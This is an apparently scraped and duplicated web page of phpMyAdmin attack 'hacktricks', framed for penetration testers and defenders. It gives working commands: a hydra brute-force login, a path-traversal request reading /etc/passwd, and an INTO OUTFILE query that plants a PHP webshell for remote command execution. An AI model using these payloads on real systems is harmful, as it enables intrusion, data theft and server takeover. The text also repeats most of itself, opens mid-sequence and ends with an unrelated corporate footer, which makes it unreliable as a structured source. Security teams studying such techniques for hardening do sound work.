SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php" Then access: http://target/shell.php?cmd=id
Introduction phpMyAdmin is the most popular database management tool for MySQL/MariaDB. For penetration testers (and attackers), it is a high-value target because successful compromise often leads to remote code execution (RCE), data exfiltration, or privilege escalation. For defenders, understanding these "hacktricks" is the first step to proper hardening.
Last verified: June 2025 – phpMyAdmin 5.2.1, MySQL 8.0, Ubuntu 22.04.
curl -s http://target/phpmyadmin/README | grep "Version" Verified: phpMyAdmin 5.1.1 leaks version in the default CSS comment: /* v5.1.1 */ . 2.1 Default Credentials (Still Works in 2025) Despite warnings, many test environments (and sadly some production) still use:
hydra -l root -P /usr/share/wordlists/fasttrack.txt target http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:token" Rate-limit warning: phpMyAdmin 5.0+ introduces brute-force protection via $cfg['LoginCookieValidity'] , but default is 1800 seconds – still bypassable with slow brute force. In phpMyAdmin 4.8.0–4.8.4, an LFI vulnerability allowed attackers to read arbitrary files without logging in.
POST /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd Improper sanitization of the target parameter. Patched in 4.8.5. Test instances still exist. Part 3: Post-Authentication to Remote Code Execution (RCE) Once logged in, the game is over for the server. 3.1 Into Outfile Method (Most Reliable) If the database user has FILE privilege, you can write a webshell.
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php" Then access: http://target/shell.php?cmd=id
Introduction phpMyAdmin is the most popular database management tool for MySQL/MariaDB. For penetration testers (and attackers), it is a high-value target because successful compromise often leads to remote code execution (RCE), data exfiltration, or privilege escalation. For defenders, understanding these "hacktricks" is the first step to proper hardening.
Last verified: June 2025 – phpMyAdmin 5.2.1, MySQL 8.0, Ubuntu 22.04.
curl -s http://target/phpmyadmin/README | grep "Version" Verified: phpMyAdmin 5.1.1 leaks version in the default CSS comment: /* v5.1.1 */ . 2.1 Default Credentials (Still Works in 2025) Despite warnings, many test environments (and sadly some production) still use:
hydra -l root -P /usr/share/wordlists/fasttrack.txt target http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:token" Rate-limit warning: phpMyAdmin 5.0+ introduces brute-force protection via $cfg['LoginCookieValidity'] , but default is 1800 seconds – still bypassable with slow brute force. In phpMyAdmin 4.8.0–4.8.4, an LFI vulnerability allowed attackers to read arbitrary files without logging in.
POST /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd Improper sanitization of the target parameter. Patched in 4.8.5. Test instances still exist. Part 3: Post-Authentication to Remote Code Execution (RCE) Once logged in, the game is over for the server. 3.1 Into Outfile Method (Most Reliable) If the database user has FILE privilege, you can write a webshell.
2026 © All rights reserved SHL (India) Private Limited
